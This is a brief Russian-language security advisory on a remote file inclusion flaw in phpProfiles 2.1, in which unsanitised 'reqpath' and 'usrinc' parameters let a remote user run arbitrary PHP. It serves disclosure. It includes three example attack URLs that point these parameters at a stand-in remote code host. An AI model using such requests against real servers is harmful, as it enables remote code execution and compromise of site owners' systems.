Программа: phpProfiles 2.1

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "reqpath" множественными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

http://localhost/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?
http://localhost/path/users/include/body_blog.inc.php?reqpath=http://EvElCoDe.txt?
http://localhost/path/users/include/upload_ht.inc.php?usrinc=http://EvElCoDe.txt?

Оставить мнение